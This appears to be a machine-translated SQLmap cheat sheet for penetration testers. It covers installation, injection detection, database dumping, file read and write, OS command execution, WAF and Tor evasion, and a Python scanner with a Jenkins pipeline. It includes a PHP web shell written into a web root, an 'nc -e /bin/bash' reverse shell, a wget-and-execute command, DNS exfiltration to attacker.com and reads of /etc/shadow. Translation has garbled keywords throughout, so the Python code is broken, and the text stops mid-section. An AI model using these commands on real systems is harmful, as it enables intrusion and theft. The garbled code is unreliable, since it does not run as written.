Saltar a contenido

SQLmap hoja de trucos

Overview

SQLmap is an open-source pruebas de penetración tool that automates the proceso of detecting and exploiting inyección SQL flaws and taking over database servers. Developed by Bernardo Damele and Miroslav Stampar, SQLmap has become the de facto standard for inyección SQL testing, providing comprehensive capabilities for identifying, exploiting, and post-exploitation of inyección SQL vulnerabilities across a wide range of database management systems. The tool's sophisticated detection algoritmos and extensive database suppuerto make it an essential component of aplicación web security testing and database security assessment workflows.

The core strength of SQLmap lies in its advanced inyección SQL detection and exploitation engine, which suppuertos numerous injection techniques including boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band injection methods. SQLmap can automatically detect and exploit inyección SQL vulnerabilities in GET, POST, HTTP headers, and cookie parámetros, while suppuertoing various database management systems including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB, and Informix. The tool's intelligent huella digitaling capabilities can identify database versions, underlying operating systems, and application technologies to optimize exploitation strategies.

SQLmap's comprehensive feature set includes database enumeración capabilities for extracting database schemas, tables, columns, and data, along with advanced post-exploitation features for file system access, operating system comando execution, and out-of-band data exfiltración. The tool suppuertos various autenticación mechanisms, proxy configuracións, and evasion techniques to bypass aplicación web firewalls and intrusion detection systems. With its extensive customization opcións, detailed logging capabilities, and integration suppuerto for automated security testing pipelines, SQLmap provides both manual testing flexibility and automated assessment capabilities for comprehensive database security validation.

instalación

Ubuntu/Debian instalación

Installing SQLmap on Ubuntu/Debian systems:

# Update system packages
sudo apt update && sudo apt upgrade -y

# Install SQLmap from repositories
sudo apt install -y sqlmap

# Install dependencies
sudo apt install -y python3 python3-pip

# Verify instalación
sqlmap --version

# Install latest version from source
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

# Run from source
python3 sqlmap.py --version

# Install additional dependencies
pip3 install -r requirements.txt

# Create symbolic link
sudo ln -sf $(pwd)/sqlmap.py /usr/local/bin/sqlmap

# Verify instalación
sqlmap --version

CentOS/RHEL instalación

# Install EPEL repository
sudo yum install -y epel-release

# Install Python and Git
sudo yum install -y python3 python3-pip git

# Clone SQLmap repository
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# Install dependencies
pip3 install -r requirements.txt

# Create executable script
cat > /usr/local/bin/sqlmap ``<< 'EOF'
#!/bin/bash
python3 /opt/sqlmap/sqlmap.py "$@"
EOF

# Move SQLmap to /opt
sudo mv sqlmap /opt/
sudo chmod +x /usr/local/bin/sqlmap

# Verify instalación
sqlmap --version

macOS instalación

# Install using Homebrew
brew install sqlmap

# Install using Macpuertos
sudo puerto install sqlmap

# Install from source
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

# Install Python dependencies
pip3 install -r requirements.txt

# Verify instalación
sqlmap --version

Windows instalación

# Download from GitHub
# https://github.com/sqlmapproject/sqlmap/archive/master.zip

# Extract to desired location
# ejemplo: C:\sqlmap

# Install Python 3.x from python.org

# Install dependencies
pip install -r requirements.txt

# Run SQLmap
python sqlmap.py --version

# Alternative: Install with Chocolatey
choco install sqlmap

# Verify instalación
sqlmap --version

Docker instalación

Running SQLmap in Docker:

# Pull official SQLmap image
docker pull paoloo/sqlmap

# Run basic scan
docker run --rm paoloo/sqlmap -u "http://ejemplo.com/page.php?id=1"

# Run with custom opcións
docker run --rm -v $(pwd):/data paoloo/sqlmap \
    -u "http://ejemplo.com/page.php?id=1" \
    --batch --output-dir=/data

# Create custom Dockerfile
cat >`` Dockerfile.sqlmap << 'EOF'
FROM python:3.9-alpine

# Install dependencies
RUN apk add --no-cache git

# Clone SQLmap
RUN git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap

# Set working directory
WORKDIR /opt/sqlmap

# Install Python dependencies
RUN pip install -r requirements.txt

# Create entrypoint
ENTRYPOINT ["python3", "sqlmap.py"]
EOF

# Build custom image
docker build -f Dockerfile.sqlmap -t sqlmap-custom .

# Run custom image
docker run --rm sqlmap-custom --version

Basic uso

objetivo Specification

Specifying objetivos for inyección SQL testing:

# Test single URL with parámetro
sqlmap -u "http://ejemplo.com/page.php?id=1"

# Test URL with multiple parámetros
sqlmap -u "http://ejemplo.com/page.php?id=1&name;=test"

# Test specific parámetro
sqlmap -u "http://ejemplo.com/page.php?id=1&name;=test" -p id

# Test POST data
sqlmap -u "http://ejemplo.com/login.php" --data="nombre de usuario=admin&contrase;ña=test"

# Test from request file
sqlmap -r request.txt

# Test from Burp Suite log
sqlmap -l burp.log

# Test with custom headers
sqlmap -u "http://ejemplo.com/page.php?id=1" \
    --headers="X-Forwarded-For: 127.0.0.1\nUser-Agent: Custom Agent"

# Test with cookies
sqlmap -u "http://ejemplo.com/page.php?id=1" \
    --cookie="PHPSESSID=abc123; user=admin"

# Test HTTP methods
sqlmap -u "http://ejemplo.com/api/user/1" --method=PUT

# Test with autenticación
sqlmap -u "http://ejemplo.com/page.php?id=1" \
    --auth-type=basic --auth-cred="admin:contraseña"

# Test HTTPS with custom certificado
sqlmap -u "https://ejemplo.com/page.php?id=1" \
    --ignore-ssl-errors

Detection opcións

Configuring inyección SQL detection:

# Basic detection
sqlmap -u "http://ejemplo.com/page.php?id=1"

# Specify injection techniques
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=BEUST
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind

# Test specific DBMS
sqlmap -u "http://ejemplo.com/page.php?id=1" --dbms=mysql

# Increase detection level
sqlmap -u "http://ejemplo.com/page.php?id=1" --level=5

# Increase risk level
sqlmap -u "http://ejemplo.com/page.php?id=1" --risk=3

# Test all parámetros
sqlmap -u "http://ejemplo.com/page.php?id=1&name;=test" --all

# Skip URL encoding
sqlmap -u "http://ejemplo.com/page.php?id=1" --skip-urlencode

# Custom injection payloads
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=space2comment

# Test with time delay
sqlmap -u "http://ejemplo.com/page.php?id=1" --time-sec=10

# Test with custom boundaries
sqlmap -u "http://ejemplo.com/page.php?id=1" --boundaries="*"

Database enumeración

Enumerating database information:

# Get current user
sqlmap -u "http://ejemplo.com/page.php?id=1" --current-user

# Get current database
sqlmap -u "http://ejemplo.com/page.php?id=1" --current-db

# Check if user is DBA
sqlmap -u "http://ejemplo.com/page.php?id=1" --is-dba

# List databases
sqlmap -u "http://ejemplo.com/page.php?id=1" --dbs

# List tables in database
sqlmap -u "http://ejemplo.com/page.php?id=1" -D database_name --tables

# List columns in table
sqlmap -u "http://ejemplo.com/page.php?id=1" -D database_name -T table_name --columns

# Dump table data
sqlmap -u "http://ejemplo.com/page.php?id=1" -D database_name -T table_name --dump

# Dump specific columns
sqlmap -u "http://ejemplo.com/page.php?id=1" -D database_name -T table_name -C "nombre de usuario,contraseña" --dump

# Dump all databases
sqlmap -u "http://ejemplo.com/page.php?id=1" --dump-all

# Get database users
sqlmap -u "http://ejemplo.com/page.php?id=1" --users

# Get user contraseñas
sqlmap -u "http://ejemplo.com/page.php?id=1" --contraseñas

# Get user privileges
sqlmap -u "http://ejemplo.com/page.php?id=1" --privileges

# Get database schema
sqlmap -u "http://ejemplo.com/page.php?id=1" --schema

# Search for specific data
sqlmap -u "http://ejemplo.com/page.php?id=1" --search -C contraseña

Advanced Features

File System Access

Accessing the file system through inyección SQL:

# Read file from file system
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="/etc/passwd"

# Write file to file system
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Upload file via inyección SQL
echo "<?php system(\$_GET['cmd']); ?>" > webshell.php
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-write="webshell.php" --file-dest="/var/www/html/cmd.php"

# Read common configuración files
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="/etc/mysql/my.cnf"
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="/var/www/html/config.php"
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="/etc/apache2/apache2.conf"

# Read application files
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="/var/log/apache2/access.log"
sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="/var/log/mysql/error.log"

# Download multiple files
for file in /etc/passwd /etc/shadow /etc/hosts; do
    sqlmap -u "http://ejemplo.com/page.php?id=1" --file-read="$file" --batch
done

Operating System Access

Executing operating system comandos:

# Execute OS comandos
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-cmd="whoami"

# Interactive OS shell
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-shell

# Execute PowerShell comandos (Windows)
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-pwn

# Upload and execute Meterpreter payload
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-pwn --msf-path="/opt/metasploit-framework"

# Execute comandos with specific user
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-cmd="id" --priv-esc

# Execute batch comandos
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-cmd="uname -a; ps aux; netstat -tulpn"

# Create shell reversa
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-cmd="nc -e /bin/bash 192.168.1.100 4444"

# Download and execute script
sqlmap -u "http://ejemplo.com/page.php?id=1" --os-cmd="wget http://192.168.1.100/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh"

WAF Bypass Techniques

Bypassing aplicación web Firewalls:

# Use tamper scripts
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=space2comment
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=charencode
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=randomcase

# Multiple tamper scripts
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=space2comment,charencode,randomcase

# Common WAF bypass tampers
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=apostrophemask
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=equaltolike
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=greatest
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=halfversionedmoreclavewords
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=modsecurityversioned
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=space2mysqldash
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=versionedclavewords
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=versionedmoreclavewords

# Custom User-Agent
sqlmap -u "http://ejemplo.com/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1)"

# Random User-Agent
sqlmap -u "http://ejemplo.com/page.php?id=1" --random-agent

# Custom delay between requests
sqlmap -u "http://ejemplo.com/page.php?id=1" --delay=2

# Use proxy for requests
sqlmap -u "http://ejemplo.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# Use Tor network
sqlmap -u "http://ejemplo.com/page.php?id=1" --tor --tor-type=SOCKS5

# Chunked transfer encoding
sqlmap -u "http://ejemplo.com/page.php?id=1" --chunked

Advanced Injection Techniques

Specialized injection techniques:

# Second-order inyección SQL
sqlmap -u "http://ejemplo.com/register.php" --data="nombre de usuario=admin&email;=test@test.com" --second-order="http://ejemplo.com/profile.php"

# DNS exfiltración
sqlmap -u "http://ejemplo.com/page.php?id=1" --dns-domain="attacker.com"

# Time-based blind injection with custom time
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=T --time-sec=5

# Union-based injection with custom columns
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=U --union-cols=1-20

# Error-based injection
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=E

# Boolean-based blind injection
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=B

# Stacked queries
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=S

# Custom injection point
sqlmap -u "http://ejemplo.com/page.php" --data="id=1*&name;=test" --method=POST

# JSON injection
sqlmap -u "http://ejemplo.com/api/user" --data='\\\\{"id": 1*, "name": "test"\\\\}' --headers="Content-Type: application/json"

# XML injection
sqlmap -u "http://ejemplo.com/soap" --data='<?xml version="1.0"?><user><id>1*</id></user>' --headers="Content-Type: text/xml"

Automation Scripts

Comprehensive inyección SQL Scanner

#!/usr/bin/env python3
# Comprehensive inyección SQL testing with SQLmap

impuerto subproceso
impuerto json
impuerto os
impuerto sys
impuerto time
impuerto argparse
from datetime impuerto datetime
impuerto xml.etree.ElementTree as ET
impuerto requests
from urllib.parse impuerto urlparse, parse_qs

class SQLmapScanner:
    def __init__(self, sqlmap_path="sqlmap"):
        self.sqlmap_path = sqlmap_path
        self.results = \\\\{\\\\}
        self.sesión_dir = f"/tmp/sqlmap_sesión_\\\\{int(time.time())\\\\}"

    def verify_sqlmap_instalación(self):
        """Verify SQLmap instalación"""
        try:
            result = subproceso.run([self.sqlmap_path, "--version"],
                                  capture_output=True, text=True)
            if result.returncode == 0:
                version_line = result.stdout.strip()
                print(f"SQLmap version: \\\\{version_line\\\\}")
                return True
            else:
                print("SQLmap not found or not working")
                return False
        except Exception as e:
            print(f"Error checking SQLmap instalación: \\\\{e\\\\}")
            return False

    def create_sesión_directory(self):
        """Create sesión directory for SQLmap output"""
        try:
            os.makedirs(self.sesión_dir, exist_ok=True)
            print(f"sesión directory created: \\\\{self.sesión_dir\\\\}")
            return True
        except Exception as e:
            print(f"Error creating sesión directory: \\\\{e\\\\}")
            return False

    def test_url_for_sqli(self, url, method="GET", data=None, headers=None, cookies=None):
        """Test URL for inyección SQL vulnerabilities"""
        print(f"Testing URL for inyección SQL: \\\\{url\\\\}")

        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.sesión_dir,
            "--level", "3",
            "--risk", "2",
            "--technique", "BEUST",
            "--hilos", "5"
        ]

        if method.upper() == "POST" and data:
            cmd.extend(["--data", data])

        if headers:
            header_string = "\n".join([f"\\\\{k\\\\}: \\\\{v\\\\}" for k, v in headers.items()])
            cmd.extend(["--headers", header_string])

        if cookies:
            cookie_string = "; ".join([f"\\\\{k\\\\}=\\\\{v\\\\}" for k, v in cookies.items()])
            cmd.extend(["--cookie", cookie_string])

        try:
            result = subproceso.run(cmd, capture_output=True, text=True, timeout=1800)

            if result.returncode == 0:
                vulnerable = self.parse_sqlmap_output(result.stdout)
                return \\\\{
                    'vulnerable': vulnerable,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            else:
                print(f"SQLmap test failed: \\\\{result.stderr\\\\}")
                return \\\\{
                    'vulnerable': False,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
        except subproceso.TimeoutExpired:
            print("SQLmap test timed out")
            return \\\\{
                'vulnerable': False,
                'output': "",
                'error': "Timeout"
            \\\\}
        except Exception as e:
            print(f"Error during SQLmap test: \\\\{e\\\\}")
            return \\\\{
                'vulnerable': False,
                'output': "",
                'error': str(e)
            \\\\}

    def parse_sqlmap_output(self, output):
        """Parse SQLmap output to determine if vulnerable"""
        vulnerable_indicators = [
            "is vulnerable",
            "injectable",
            "parámetro:",
            "Type:",
            "Title:",
            "payload:"
        ]

        for indicator in vulnerable_indicators:
            if indicator in output:
                return True

        return False

    def enumerate_database(self, url, method="GET", data=None):
        """Enumerate database information"""
        print(f"Enumerating database for: \\\\{url\\\\}")

        enumeración_comandos = [
            ["--current-user"],
            ["--current-db"],
            ["--is-dba"],
            ["--dbs"],
            ["--users"],
            ["--contraseñas"]
        ]

        enumeración_results = \\\\{\\\\}

        for enum_cmd in enumeración_comandos:
            cmd = [
                self.sqlmap_path,
                "-u", url,
                "--batch",
                "--output-dir", self.sesión_dir
            ]

            if method.upper() == "POST" and data:
                cmd.extend(["--data", data])

            cmd.extend(enum_cmd)

            try:
                result = subproceso.run(cmd, capture_output=True, text=True, timeout=600)

                if result.returncode == 0:
                    enum_type = enum_cmd[0].replace("--", "")
                    enumeración_results[enum_type] = \\\\{
                        'output': result.stdout,
                        'success': True
                    \\\\}
                else:
                    enum_type = enum_cmd[0].replace("--", "")
                    enumeración_results[enum_type] = \\\\{
                        'output': result.stderr,
                        'success': False
                    \\\\}
            except subproceso.TimeoutExpired:
                enum_type = enum_cmd[0].replace("--", "")
                enumeración_results[enum_type] = \\\\{
                    'output': "Timeout",
                    'success': False
                \\\\}
            except Exception as e:
                enum_type = enum_cmd[0].replace("--", "")
                enumeración_results[enum_type] = \\\\{
                    'output': str(e),
                    'success': False
                \\\\}

        return enumeración_results

    def dump_database_data(self, url, database=None, table=None, columns=None):
        """Dump database data"""
        print(f"Dumping database data for: \\\\{url\\\\}")

        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.sesión_dir
        ]

        if database and table and columns:
            cmd.extend(["-D", database, "-T", table, "-C", columns, "--dump"])
        elif database and table:
            cmd.extend(["-D", database, "-T", table, "--dump"])
        elif database:
            cmd.extend(["-D", database, "--tables"])
        else:
            cmd.extend(["--dbs"])

        try:
            result = subproceso.run(cmd, capture_output=True, text=True, timeout=1800)

            if result.returncode == 0:
                return \\\\{
                    'success': True,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            else:
                return \\\\{
                    'success': False,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
        except subproceso.TimeoutExpired:
            return \\\\{
                'success': False,
                'output': "",
                'error': "Timeout"
            \\\\}
        except Exception as e:
            return \\\\{
                'success': False,
                'output': "",
                'error': str(e)
            \\\\}

    def test_file_access(self, url):
        """Test file system access capabilities"""
        print(f"Testing file access for: \\\\{url\\\\}")

        test_files = [
            "/etc/passwd",
            "/etc/hosts",
            "/var/www/html/index.php",
            "C:\\Windows\\System32\\drivers\\etc\\hosts",
            "C:\\inetpub\\wwwroot\\web.config"
        ]

        file_access_results = \\\\{\\\\}

        for test_file in test_files:
            cmd = [
                self.sqlmap_path,
                "-u", url,
                "--batch",
                "--output-dir", self.sesión_dir,
                "--file-read", test_file
            ]

            try:
                result = subproceso.run(cmd, capture_output=True, text=True, timeout=300)

                file_access_results[test_file] = \\\\{
                    'accessible': result.returncode == 0 and "do you want to retrieve" not in result.stdout,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            except subproceso.TimeoutExpired:
                file_access_results[test_file] = \\\\{
                    'accessible': False,
                    'output': "",
                    'error': "Timeout"
                \\\\}
            except Exception as e:
                file_access_results[test_file] = \\\\{
                    'accessible': False,
                    'output': "",
                    'error': str(e)
                \\\\}

        return file_access_results

    def test_os_access(self, url):
        """Test operating system comando execution"""
        print(f"Testing OS access for: \\\\{url\\\\}")

        test_comandos = [
            "whoami",
            "id",
            "uname -a",
            "systeminfo"
        ]

        os_access_results = \\\\{\\\\}

        for test_cmd in test_comandos:
            cmd = [
                self.sqlmap_path,
                "-u", url,
                "--batch",
                "--output-dir", self.sesión_dir,
                "--os-cmd", test_cmd
            ]

            try:
                result = subproceso.run(cmd, capture_output=True, text=True, timeout=300)

                os_access_results[test_cmd] = \\\\{
                    'executed': result.returncode == 0 and "comando standard output" in result.stdout,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            except subproceso.TimeoutExpired:
                os_access_results[test_cmd] = \\\\{
                    'executed': False,
                    'output': "",
                    'error': "Timeout"
                \\\\}
            except Exception as e:
                os_access_results[test_cmd] = \\\\{
                    'executed': False,
                    'output': "",
                    'error': str(e)
                \\\\}

        return os_access_results

    def comprehensive_scan(self, objetivo_urls, output_dir="/tmp/sqlmap_comprehensive"):
        """Perform comprehensive inyección SQL assessment"""
        print("Starting comprehensive inyección SQL assessment...")

        # Create output directory
        os.makedirs(output_dir, exist_ok=True)

        assessment_results = \\\\{
            'start_time': time.time(),
            'objetivo_urls': objetivo_urls,
            'vulnerable_urls': [],
            'enumeración_results': \\\\{\\\\},
            'file_access_results': \\\\{\\\\},
            'os_access_results': \\\\{\\\\},
            'dump_results': \\\\{\\\\}
        \\\\}

        for url in objetivo_urls:
            print(f"Testing URL: \\\\{url\\\\}")

            # Test for inyección SQL
            sqli_result = self.test_url_for_sqli(url)

            if sqli_result['vulnerable']:
                print(f"inyección SQL found in: \\\\{url\\\\}")
                assessment_results['vulnerable_urls'].append(url)

                # Enumerate database
                enum_results = self.enumerate_database(url)
                assessment_results['enumeración_results'][url] = enum_results

                # Test file access
                file_results = self.test_file_access(url)
                assessment_results['file_access_results'][url] = file_results

                # Test OS access
                os_results = self.test_os_access(url)
                assessment_results['os_access_results'][url] = os_results

                # Dump sample data
                dump_results = self.dump_database_data(url)
                assessment_results['dump_results'][url] = dump_results
            else:
                print(f"No inyección SQL found in: \\\\{url\\\\}")

        assessment_results['end_time'] = time.time()
        assessment_results['duration'] = assessment_results['end_time'] - assessment_results['start_time']

        # Generate repuertos
        self.generate_json_repuerto(assessment_results, os.path.join(output_dir, "sqlmap_results.json"))
        self.generate_html_repuerto(assessment_results, os.path.join(output_dir, "sqlmap_repuerto.html"))

        print(f"Comprehensive assessment completed in \\\\{assessment_results['duration']:.2f\\\\} seconds")
        print(f"Found inyección SQL in \\\\{len(assessment_results['vulnerable_urls'])\\\\} URLs")

        return assessment_results

    def generate_json_repuerto(self, results, output_file):
        """Generate JSON repuerto"""
        with open(output_file, 'w') as f:
            json.dump(results, f, indent=2, default=str)
        print(f"JSON repuerto generated: \\\\{output_file\\\\}")

    def generate_html_repuerto(self, results, output_file):
        """Generate HTML repuerto"""
        html_content = f"""
<!DOCTYPE html>
<html>
<head>
    <title>SQLmap Comprehensive Assessment Repuerto</title>
    <style>
        body \\\\{\\\\{ font-family: Arial, sans-serif; margin: 20px; \\\\}\\\\}
        .section \\\\{\\\\{ margin: 20px 0; padding: 15px; border: 1px solid #ddd; \\\\}\\\\}
        .critical \\\\{\\\\{ color: red; font-weight: bold; \\\\}\\\\}
        .warning \\\\{\\\\{ color: orange; font-weight: bold; \\\\}\\\\}
        .info \\\\{\\\\{ color: blue; \\\\}\\\\}
        .success \\\\{\\\\{ color: green; font-weight: bold; \\\\}\\\\}
        table \\\\{\\\\{ border-collapse: collapse; width: 100%; \\\\}\\\\}
        th, td \\\\{\\\\{ border: 1px solid #ddd; padding: 8px; text-align: left; \\\\}\\\\}
        th \\\\{\\\\{ background-color: #f2f2f2; \\\\}\\\\}
        pre \\\\{\\\\{ background: #f5f5f5; padding: 10px; overflow-x: auto; \\\\}\\\\}
    </style>
</head>
<body>
    <h1>SQLmap Comprehensive Assessment Repuerto</h1>
    <p>Generated: \\\\{datetime.now().isoformat()\\\\}</p>
    <p>Assessment Duration: \\\\{results['duration']:.2f\\\\} seconds</p>

    <div class="section">
        <h2>Executive Summary</h2>
        <ul>
            <li>Total URLs Tested: \\\\{len(results['objetivo_urls'])\\\\}</li>
            <li class="critical">Vulnerable URLs: \\\\{len(results['vulnerable_urls'])\\\\}</li>
            <li>File Access Possible: \\\\{sum(1 for url_results in results['file_access_results'].values() for file_result in url_results.values() if file_result['accessible'])\\\\}</li>
            <li>OS comando Execution: \\\\{sum(1 for url_results in results['os_access_results'].values() for cmd_result in url_results.values() if cmd_result['executed'])\\\\}</li>
        </ul>
    </div>

    <div class="section">
        <h2 class="critical">Vulnerable URLs</h2>
        <table>
            <tr><th>URL</th><th>Database Access</th><th>File Access</th><th>OS Access</th></tr>
"""

        for url in results['vulnerable_urls']:
            db_access = "Yes" if url in results['enumeración_results'] else "No"
            file_access = "Yes" if any(f['accessible'] for f in results['file_access_results'].get(url, \\\\{\\\\}).values()) else "No"
            os_access = "Yes" if any(c['executed'] for c in results['os_access_results'].get(url, \\\\{\\\\}).values()) else "No"

            html_content += f"""
            <tr>
                <td>\\\\{url\\\\}</td>
                <td>\\\\{db_access\\\\}</td>
                <td>\\\\{file_access\\\\}</td>
                <td>\\\\{os_access\\\\}</td>
            </tr>"""

        html_content += """
        </table>
    </div>

    <div class="section">
        <h2>Detailed Findings</h2>
"""

        for url in results['vulnerable_urls']:
            html_content += f"""
            <h3>\\\\{url\\\\}</h3>

            <h4>Database enumeración</h4>
            <pre>\\\\{json.dumps(results['enumeración_results'].get(url, \\\\{\\\\}), indent=2)\\\\}</pre>

            <h4>File Access Results</h4>
            <pre>\\\\{json.dumps(results['file_access_results'].get(url, \\\\{\\\\}), indent=2)\\\\}</pre>

            <h4>OS Access Results</h4>
            <pre>\\\\{json.dumps(results['os_access_results'].get(url, \\\\{\\\\}), indent=2)\\\\}</pre>
"""

        html_content += """
    </div>

    <div class="section">
        <h2>Recommendations</h2>
        <ul>
            <li>Implement parámetroized queries/prepared statements</li>
            <li>Use input validation and sanitization</li>
            <li>Apply principle of least privilege for database accounts</li>
            <li>Implement aplicación web Firewall (WAF)</li>
            <li>Regular security code reviews and testing</li>
            <li>Keep database software updated</li>
            <li>Monitor database access and queries</li>
        </ul>
    </div>
</body>
</html>
"""

        with open(output_file, 'w') as f:
            f.write(html_content)

        print(f"HTML repuerto generated: \\\\{output_file\\\\}")

def main():
    parser = argparse.ArgumentParser(Descripción='SQLmap Comprehensive Scanner')
    parser.add_argument('--urls', nargs='+', required=True, help='URLs to test')
    parser.add_argument('--output', default='/tmp/sqlmap_assessment', help='Output directory')
    parser.add_argument('--sqlmap-path', default='sqlmap', help='Path to SQLmap executable')

    args = parser.parse_args()

    # Initialize scanner
    scanner = SQLmapScanner(args.sqlmap_path)

    # Verify instalación
    if not scanner.verify_sqlmap_instalación():
        print("SQLmap not properly installed or configured")
        sys.exit(1)

    # Create sesión directory
    if not scanner.create_sesión_directory():
        print("Failed to create sesión directory")
        sys.exit(1)

    # Run comprehensive scan
    results = scanner.comprehensive_scan(args.urls, args.output)

    if results:
        print("Comprehensive assessment completed successfully")
    else:
        print("Comprehensive assessment failed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Integration ejemplos

CI/CD Integration

# Jenkins Pipeline for SQLmap Integration
pipeline \\\\{
    agent \\\\{
        label 'security-testing'
    \\\\}

    environment \\\\{
        objetivo_URL = 'http: //test-app.company.com'
        SQLMAP_OUTPUT = './sqlmap-results'
    \\\\}

    stages \\\\{
        stage('Setup Environment') \\\\{
            steps \\\\{
                script \\\\{
                    // Install SQLmap if not present
                    sh '''
                        if ! comando -v sqlmap &> /dev/null; then
                            git clone https: //github.com/sqlmapproject/sqlmap.git
                            expuerto PATH=$PATH: $(pwd)/sqlmap
                        fi

                        sqlmap --version
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('inyección SQL Testing') \\\\{
            steps \\\\{
                script \\\\{
                    // Run SQLmap tests
                    sh '''
                        mkdir -p $\\\\{SQLMAP_OUTPUT\\\\}

                        # Test main application endpoints
                        python3 sqlmap_scanner.py \
                            --urls "$\\\\{objetivo_URL\\\\}/login.php?id=1" \
                                   "$\\\\{objetivo_URL\\\\}/search.php?q=test" \
                                   "$\\\\{objetivo_URL\\\\}/product.php?id=1" \
                            --output $\\\\{SQLMAP_OUTPUT\\\\}
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('proceso Results') \\\\{
            steps \\\\{
                // Archive results
                archiveArtifacts artifacts: 'sqlmap-results/**/*', huella digital: true

                // Publish repuerto
                publishHTML([
                    allowMissing: false,
                    alwaysLinkToLastBuild: true,
                    keepAll: true,
                    repuertoDir: 'sqlmap-results',
                    repuertoFiles: '*.html',
                    repuertoName: 'SQLmap Assessment Repuerto'
                ])

                // Check for vulnerabilities
                script \\\\{
                    def vulnerabilities = sh(
| script: "grep -c 'vulnerable' sqlmap-results/*.json |  | true", |
                        returnStdout: true
                    ).trim()

                    if (vulnerabilities.toInteger() > 0) \\\\{
                        currentBuild.result = 'UNSTABLE'
                        echo "Found $\\\\{vulnerabilities\\\\} inyección SQL vulnerabilities"
                    \\\\}
                \\\\}
            \\\\}
        \\\\}
    \\\\}

    post \\\\{
        always \\\\{
            // Clean up sensitive data
            sh 'rm -rf sqlmap-results/*.log'
        \\\\}

        failure \\\\{
            // Send notification
            emailext (
                subject: "inyección SQL Testing Failed: $\\\\{env.JOB_NAME\\\\} - $\\\\{env.BUILD_NUMBER\\\\}",
                body: "inyección SQL testing failed. Check console output for details.",
                to: "$\\\\{env.SECURITY_TEAM_EMAIL\\\\}"
            )
        \\\\}
    \\\\}
\\\\}

solución de problemas

Common Issues

conexión Issues:

# Test basic connectivity
curl -I "http://ejemplo.com/page.php?id=1"

# Use proxy for debugging
sqlmap -u "http://ejemplo.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# Ignore SSL errors
sqlmap -u "https://ejemplo.com/page.php?id=1" --ignore-ssl-errors

# Custom timeout
sqlmap -u "http://ejemplo.com/page.php?id=1" --timeout=30

# Retry failed requests
sqlmap -u "http://ejemplo.com/page.php?id=1" --retries=3

Detection Issues:

# Increase detection level and risk
sqlmap -u "http://ejemplo.com/page.php?id=1" --level=5 --risk=3

# Test all parámetros
sqlmap -u "http://ejemplo.com/page.php?id=1&name;=test" --all

# Force specific DBMS
sqlmap -u "http://ejemplo.com/page.php?id=1" --dbms=mysql --force-ssl

# Use different techniques
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=T --time-sec=10

# Skip URL encoding
sqlmap -u "http://ejemplo.com/page.php?id=1" --skip-urlencode

WAF Bypass Issues:

# Use multiple tamper scripts
sqlmap -u "http://ejemplo.com/page.php?id=1" --tamper=space2comment,charencode,randomcase

# Random User-Agent
sqlmap -u "http://ejemplo.com/page.php?id=1" --random-agent

# Add delays
sqlmap -u "http://ejemplo.com/page.php?id=1" --delay=3

# Use Tor
sqlmap -u "http://ejemplo.com/page.php?id=1" --tor --tor-type=SOCKS5

# Custom headers
sqlmap -u "http://ejemplo.com/page.php?id=1" --headers="X-Originating-IP: 127.0.0.1"

Performance Optimization

Optimizing SQLmap performance:

# Increase hilos
